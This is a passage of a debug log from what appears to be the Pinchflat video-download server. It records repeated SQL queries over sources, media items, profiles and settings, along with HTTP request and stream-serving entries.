WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:02.646 [debug] QUERY OK source="media_items" db=2.2ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:02.646 [debug] QUERY OK source="sources" db=2.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.647 [debug] QUERY OK source="sources" db=0.6ms queue=0.3ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.647 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 06:46:02.648 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=0.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 06:46:02.648 [debug] QUERY OK source="sources" db=0.9ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.648 [debug] QUERY OK source="sources" db=1.3ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.649 [debug] QUERY OK source="media_items" db=1.0ms idle=0.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.649 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=0.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.650 [debug] QUERY OK source="sources" db=0.5ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.651 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:46:02.651 [debug] QUERY OK source="media_items" db=1.9ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:46:02.651 [info] Sent 200 in 105ms 06:46:02.652 [debug] QUERY OK source="media_items" db=0.9ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [35] 06:46:02.654 [debug] QUERY OK source="media_items" db=1.9ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 06:46:02.654 [debug] QUERY OK source="media_items" db=3.0ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:02.655 [debug] QUERY OK source="media_items" db=3.9ms idle=0.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:02.655 [info] Sent 200 in 69ms 06:46:02.655 [info] Sent 200 in 108ms 06:46:02.656 [info] Sent 200 in 108ms 06:46:02.746 [info] GET /sources/34/ 06:46:02.747 [info] GET /media/d945a9e6-859f-4f8f-9df5-2d1d56b66268/stream 06:46:02.747 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:46:02.747 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d945a9e6-859f-4f8f-9df5-2d1d56b66268", "v" => "1780530285"} Pipelines: [:maybe_basic_auth] 06:46:02.748 [debug] QUERY OK source="sources" db=0.6ms idle=95.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.748 [debug] QUERY OK source="media_items" db=0.7ms idle=96.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d945a9e6-859f-4f8f-9df5-2d1d56b66268"] 06:46:02.748 [debug] Invalid range request for media item: d945a9e6-859f-4f8f-9df5-2d1d56b66268 - serving full file 06:46:02.748 [info] Sent 200 in 1ms 06:46:02.748 [debug] QUERY OK source="media_profiles" db=0.3ms idle=94.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.749 [debug] QUERY OK source="tasks" db=0.2ms idle=94.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 06:46:02.749 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=94.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 06:46:02.750 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.750 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.751 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.753 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.753 [info] GET /sources/30/media/141479/edit 06:46:02.753 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 06:46:02.754 [debug] QUERY OK source="media_items" db=0.3ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 06:46:02.754 [debug] QUERY OK source="media_items" db=1.0ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 06:46:02.754 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.755 [info] GET /media/fec685e0-d16d-4a29-aa2b-0aa65e9f172c/stream 06:46:02.755 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "fec685e0-d16d-4a29-aa2b-0aa65e9f172c", "v" => "1780530243"} Pipelines: [:maybe_basic_auth] 06:46:02.755 [debug] QUERY OK source="settings" db=0.5ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.757 [debug] QUERY OK source="media_items" db=1.4ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["fec685e0-d16d-4a29-aa2b-0aa65e9f172c"] 06:46:02.757 [debug] Invalid range request for media item: fec685e0-d16d-4a29-aa2b-0aa65e9f172c - serving full file 06:46:02.757 [info] Sent 200 in 2ms 06:46:02.757 [debug] QUERY OK source="settings" db=0.8ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.758 [debug] QUERY OK source="media_items" db=3.7ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.759 [info] Sent 200 in 5ms 06:46:02.759 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.760 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 06:46:02.760 [debug] QUERY OK source="media_items" db=0.7ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:46:02.762 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:46:02.763 [debug] QUERY OK source="media_items" db=1.1ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" 